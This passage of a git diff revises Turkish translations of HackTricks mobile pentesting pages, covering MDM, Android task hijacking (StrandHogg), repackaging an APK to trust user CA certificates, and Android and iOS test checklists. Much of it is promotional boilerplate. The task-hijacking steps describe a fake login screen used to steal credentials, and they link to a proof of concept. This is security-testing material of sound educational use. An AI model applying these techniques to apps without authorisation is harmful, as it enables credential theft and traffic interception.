amaçlı olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır. ### **Mobil Cihaz Yönetimi (MDM)** -- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gerektirir. Mobil cihazların etkili bir şekilde yönetilmesi ve güvence altına alınması için bir Android uygulamasının kurulmasını zorunlu kılar. Temel fonksiyonlar arasında **şifre politikalarının zorunlu kılınması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silmeye izin verilmesi** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar. +- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gerektirir. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının kurulmasını zorunlu kılar. Temel fonksiyonlar arasında **şifre politikalarını zorunlu kılma**, **depolama şifrelemesini zorunlu kılma** ve **uzaktan veri silmeye izin verme** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); @@ -385,9 +384,9 @@ if (dpm.isAdminActive(adminComponent)) { dpm.setPasswordMinimumLength(adminComponent, 8); } ``` -**Try Hard Güvenlik Grubu** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -397,10 +396,10 @@ dpm.setPasswordMinimumLength(adminComponent, 8); HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
diff --git a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index 04689f6ae..ac9ea2014 100644 --- a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -2,29 +2,29 @@
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -## Görev, Geri Yığın ve Ön Plandaki Etkinlikler +## Görev, Geri Yığın ve Ön Planda Olan Etkinlikler -Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu etkinlikler kümesidir ve bir **geri yığın** içinde düzenlenir. Bu yığın etkinlikleri açıldıkları sıraya göre sıralar ve en son etkinliği **ön plandaki etkinlik** olarak en üstte görüntüler. Her an ekranda sadece bu etkinlik görünür, bu da onu **ön plandaki görevin** bir parçası yapar. +Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu etkinlikler kümesidir ve bir **geri yığın** içinde düzenlenir. Bu yığın etkinlikleri açıldıkları sıraya göre sıralar ve en son etkinliği **ön planda etkinlik** olarak en üstte görüntüler. Her an ekranda sadece bu etkinlik görünür, bu da onu **ön planda görev**in bir parçası yapar. İşte etkinlik geçişlerinin hızlı bir açıklaması: @@ -39,7 +39,7 @@ Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak ### Görev Uyumluluğu ve Başlatma Modlarının Genel Bakışı -Android uygulamalarında, **görev uyumluluğu** bir etkinliğin tercih ettiği görevi belirtir ve genellikle uygulamanın paket adıyla uyumlu olur. Bu kurulum, saldırıyı göstermek için bir kanıt uygulaması oluşturmada önemlidir. +Android uygulamalarında, **görev uyumluluğu** bir etkinliğin tercih edilen görevini belirler ve genellikle uygulamanın paket adıyla uyumlu olur. Bu kurulum, saldırıyı göstermek için bir konsept kanıt uygulaması oluşturmada önemlidir. ### Başlatma Modları @@ -50,8 +50,8 @@ Android uygulamalarında, **görev uyumluluğu** bir etkinliğin tercih ettiği 1. **Kötü Amaçlı Uygulama Kurulumu**: Kurban, saldırganın uygulamasını cihazına kurar. 2. **İlk Aktivasyon**: Kurban önce kötü amaçlı uygulamayı açar ve cihazı saldırıya hazırlar. 3. **Hedef Uygulama Başlatma Denemesi**: Kurban hedef uygulamayı açmaya çalışır. -4. **Kaçırma Yürütme**: Eşleşen görev uyumluluğu nedeniyle, hedef uygulama yerine kötü amaçlı uygulama başlatılır. -5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamayı andıran sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır. +4. **Kaçırma Yürütme**: Eşleşen görev uyumluluğu nedeniyle kötü amaçlı uygulama, hedef uygulamanın yerine başlatılır. +5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamaya benzeyen sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır. Bu saldırının pratik bir uygulaması için GitHub'daki Task Hijacking Strandhogg deposuna başvurun: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). @@ -66,20 +66,20 @@ Bu tür saldırıları önlemek için geliştiriciler `taskAffinity`'yi boş bir **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index d5c8509f6..39d2e1100 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -1,26 +1,26 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-**Try Hard Güvenlik Grubu** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları beğenmez, bu nedenle bazı uygulamaların web trafiğini incelemek için uygulamayı decompile etmeli ve birkaç şey eklemeli ve yeniden derlemelisiniz. +Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları beğenmez, bu nedenle bazı uygulamaların web trafiğini incelemek için aslında uygulamayı decompile etmeli ve birkaç şey eklemeli ve yeniden derlemeliyiz. # Otomatik @@ -32,7 +32,7 @@ Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrouded ![](../../.gitbook/assets/img9.png) -Daha sonra **Manifest.xml** dosyasına gideriz ve `<\application android>` etiketine gidip aşağı kaydırırız ve aşağıdaki satırı ekleyeceğiz (zaten yoksa): +Daha sonra **Manifest.xml** dosyasına gideriz ve `<\application android>` etiketine gidip aşağıdaki satırı ekleyeceğiz (zaten yoksa): `android:networkSecurityConfig="@xml/network_security_config` @@ -44,7 +44,7 @@ Ekledikten sonra: ![](../../.gitbook/assets/img11.png) -Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriğe sahip network\_security\_config.xml adında bir dosya oluşturun/değiştirin: +Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriğe sahip network\_security\_config.xml adında bir dosya oluşturun/düzenleyin: ```markup @@ -57,4 +57,28 @@ Ekledikten sonra: ``` -Son olarak, yalnızca **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nasıl imzalayacağınızı öğrenmek için bu bölümü okuyun](smali-changes.md#sing-the-new-apk). +Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve aşağıdaki komutla apk'yi yeniden oluşturun: `apktool b *dizin-adı/* -o *çıktı-dosyası.apk*` + +![](../../.gitbook/assets/img12.png) + +Son olarak, sadece **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nasıl imzalayacağınızı öğrenmek için bu bölümü okuyun: Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk). + +
+ +**Try Hard Security Group** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! + +HackTricks'ı desteklemenin diğer yolları: + +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun. + +
diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index 85e30f6be..0b0fac2f5 100644 --- a/mobile-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -4,17 +4,17 @@ AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!** -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.** -* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR gönderin.** +* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. +* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** ile paylaşın. **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -38,11 +38,11 @@ ### [Statik Analiz](android-app-pentesting/#static-analysis) -* [ ] [Obfuskasyon](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımını kontrol edin, mobilin root edilip edilmediğini, bir emülatörün kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. Daha fazla bilgi için [buraya bakın](android-app-pentesting/#other-checks). +* [ ] [Obfuskasyon](android-checklist.md#some-obfuscation-deobfuscation-information) kullanımını kontrol edin, mobilin root edilip edilmediğini, bir emülatörün kullanılıp kullanılmadığını ve anti-tampering kontrollerini kontrol edin. Daha fazla bilgi için [burayı okuyun](android-app-pentesting/#other-checks). * [ ] Hassas uygulamalar (banka uygulamaları gibi) mobilin root edilip edilmediğini kontrol etmeli ve buna göre hareket etmelidir. * [ ] [İlginç dizeleri](android-app-pentesting/#looking-for-interesting-info) arayın (şifreler, URL'ler, API'ler, şifreleme, arka kapılar, belirteçler, Bluetooth uuid'leri...). * [ ] [Firebase ](android-app-pentesting/#firebase)API'lerine özel dikkat. -* [ ] [Manifest dosyasını okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) +* [ ] Manifest dosyasını okuyun: * [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "sömürmeye" çalışın * [ ] APK'nin yedeklemelere izin verip vermediğini kontrol edin * [ ] Dışa aktarılan Aktiviteler @@ -50,8 +50,8 @@ * [ ] Açık hizmetler * [ ] Yayın Alıcıları * [ ] URL Şemaları -* [ ] Uygulama içinde veya dışında verilerin güvensiz bir şekilde kaydedilip kaydedilmediğini kontrol edin (android-app-pentesting/#insecure-data-storage)? -* [ ] Diskte sabitlenmiş veya sabitlenmiş bir şifre var mı (android-app-pentesting/#poorkeymanagementprocesses)? Uygulama güvensiz şifreleme algoritmaları kullanıyor mu (android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? +* [ ] Uygulama içinde veya dışında verilerin güvensiz bir şekilde kaydedilip kaydedilmediğini kontrol edin +* [ ] Herhangi bir şifre sabitlenmiş veya diske kaydedilmiş mi? Uygulama güvensiz şifreleme algoritmaları kullanıyor mu? * [ ] Tüm kütüphaneler PIE bayrağı kullanılarak derlendi mi? * [ ] Unutmayın, bu aşamada size çok yardımcı olabilecek birçok [statik Android Analiz Araçları](android-app-pentesting/#automatic-analysis) bulunmaktadır. @@ -59,25 +59,25 @@ * [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis)) * [ ] [İstenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyalama/yapıştırma, çökme günlükleri)? -* [ ] SQLite veritabanlarında [gizli bilgilerin kaydedilmesi](android-app-pentesting/#sqlite-dbs) var mı? -* [ ] [Sömürülebilir açık Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass) var mı? -* [ ] [Sömürülebilir İçerik Sağlayıcılar](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information) var mı? -* [ ] [Sömürülebilir açık Hizmetler](android-app-pentesting/#exploiting-services) var mı? -* [ ] [Sömürülebilir Yayın Alıcıları](android-app-pentesting/#exploiting-broadcast-receivers) var mı? -* [ ] Uygulama [açık metin/weak algoritmalar kullanarak bilgi iletiyor mu](android-app-pentesting/#insufficient-transport-layer-protection)? MitM mümkün mü? -* [ ] HTTP/HTTPS trafiğini inceleyin (android-app-pentesting/#inspecting-http-traffic) +* [ ] SQLite veritabanlarında kaydedilen [gizli bilgiler](android-app-pentesting/#sqlite-dbs) var mı? +* [ ] Sömürülebilir açık Aktiviteler +* [ ] Sömürülebilir İçerik Sağlayıcılar +* [ ] Sömürülebilir açık Hizmetler +* [ ] Sömürülebilir Yayın Alıcıları +* [ ] Uygulama bilgileri açık metin/ zayıf algoritmalar kullanarak iletir mi? MitM mümkün mü? +* [ ] HTTP/HTTPS trafiğini inceleyin * [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web zafiyetlerini arayabilirsiniz (Hacktricks'te Web zafiyetleri hakkında çok bilgi bulunmaktadır). * [ ] Olası [Android İstemci Tarafı Enjeksiyonları](android-app-pentesting/#android-client-side-injections-and-others) için kontrol edin (muhtemelen burada bazı statik kod analizi yardımcı olacaktır) * [ ] [Frida](android-app-pentesting/#frida): Sadece Frida, uygulamadan ilginç dinamik veriler elde etmek için kullanın (belki bazı şifreler...) -### Bazı obfuskasyon/Deobfuscation bilgileri +### Bazı obfuscation/Deobfuscation bilgileri -* [ ] [Buradan okuyun](android-app-pentesting/#obfuscating-deobfuscating-code) +* [ ] [Burayı okuyun](android-app-pentesting/#obfuscating-deobfuscating-code) **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -85,10 +85,10 @@ AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!** -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.** -* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR gönderin.** +* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. +* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** ile paylaşın. diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index 473b4a7aa..a68678cc2 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -1,30 +1,30 @@ -# iOS Pentesting Kontrol Listesi +# iOS Pentesting Checklist
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Hemen Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan Kahraman'a kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.** +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -33,12 +33,12 @@ HackTricks'ı desteklemenin diğer yolları: ### Hazırlık * [ ] [**iOS Temelleri**](ios-pentesting/ios-basics.md)ni okuyun -* [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayarak ortamınızı hazırlayın +* [ ] [**iOS Test Ortamınızı**](ios-pentesting/ios-testing-environment.md) hazırlayın * [ ] Bir iOS uygulamasını pentest etmek için yaygın eylemleri öğrenmek için [**iOS Başlangıç Analizi**](ios-pentesting/#initial-analysis) bölümlerini okuyun ### Veri Depolama -* [ ] Hassas bilgileri depolamak için [**Plist dosyaları**](ios-pentesting/#plist) kullanılabilir. +* [ ] [**Plist dosyaları**](ios-pentesting/#plist) hassas bilgileri depolamak için kullanılabilir. * [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite veritabanı) hassas bilgileri depolayabilir. * [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite veritabanı) hassas bilgileri depolayabilir. * [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) yanlış yapılandırma. @@ -48,31 +48,31 @@ HackTricks'ı desteklemenin diğer yolları: * [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir * [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir * [ ] [**Anahtarlık**](ios-pentesting/#keychain) genellikle telefonu yeniden satarken bırakılabilecek hassas bilgileri depolamak için kullanılır. -* [ ] Özetle, uygulama tarafından dosya sistemine kaydedilen hassas bilgileri kontrol edin +* [ ] Özetle, uygulama tarafından dosya sistemine kaydedilen hassas bilgileri **kontrol edin** ### Klavyeler * [ ] Uygulama [**özel klavyeleri kullanmaya izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)? -* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin +* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) saklanıp saklanmadığını kontrol edin ### **Kayıtlar** * [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin -### Yedeklemeler +### Yedekler -* [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin) -* [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını değiştirmek için kullanılabilir, ardından yedeği telefona geri yükleyebilir ve değiştirilmiş yapılandırma yüklendiğinde bazı (güvenlik) işlevselliğin **atlatılabileceği** kontrol edilebilir +* [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere **erişmek** için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin) +* [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek** için kullanılabilir, ardından yedeği telefona **geri yükleyebilir** ve **değiştirilmiş yapılandırma** yüklendiğinde bazı (güvenlik) **işlevselliği** **atlanabilir** ### **Uygulamaların Belleği** -* [ ] [**Uygulamanın belleği içinde hassas bilgileri**](ios-pentesting/#testing-memory-for-sensitive-data) kontrol edin +* [ ] [**Uygulamanın belleği içinde**](ios-pentesting/#testing-memory-for-sensitive-data) hassas bilgileri kontrol edin ### **Kırık Şifreleme** * [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz kontrol 